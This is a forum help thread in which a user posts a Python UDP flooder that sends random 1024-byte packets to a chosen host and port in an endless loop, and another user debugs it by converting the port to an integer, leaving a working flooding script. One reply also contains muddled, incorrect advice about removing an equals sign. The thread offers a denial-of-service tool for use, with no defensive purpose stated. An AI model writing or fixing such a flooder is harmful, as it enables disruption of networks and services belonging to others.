Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (3)

Powered by Vanilla. Made with Bootstrap.
[Help] UDP flooder
  • undead
    Posts: 822
    Hi, I'm trying to make an UDP flooder. This is my code:

    import socket
    import random
    import sys

    if len(sys.argv) != 3:
    sys.exit('Usage: %s [host] [port]' % (sys.argv[0]))

    host = sys.argv[1]
    port = sys.argv[2]
    bytes = random._urandom(1024)
    addr = (host,port)

    sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

    while True:
    sock.sendto(bytes, addr)


    but I get this error:

    Traceback (most recent call last):
    File "a.py", line 16, in <module>
    sock.sendto(bytes, addr)
    TypeError: an integer is required

    any help?
  • alix10
    Posts: 73
    you made addr eqal host and port i think you have to specify what host and port?? Edit: stupid me i think the problem is you dont have to put a equal sign after addr so: addr (host, port)
  • undead
    Posts: 822
    I specify it here:
    host = sys.argv[1]
    port = sys.argv[2]
  • alix10
    Posts: 73
    look again i edited my post..

  • import socket
    import random
    import sys

    if len(sys&#46;argv) != 3&#58;
    sys&#46;exit('Usage&#58; %s &#91;host&#93; &#91;port&#93;' % (sys&#46;argv&#91;0&#93;))

    host = sys&#46;argv&#91;1&#93;
    port = int(sys&#46;argv&#91;2&#93;)
    bytes = random&#46;_urandom(1024)
    addr = (host,port)

    sock=socket&#46;socket(socket&#46;AF_INET, socket&#46;SOCK_DGRAM)


    while True&#58;
    send = sock&#46;sendto(bytes, addr)
    print send


    This is your code with some modifications.

    ~|st4ck3D
  • undead
    Posts: 822
    Ok thanks for the help!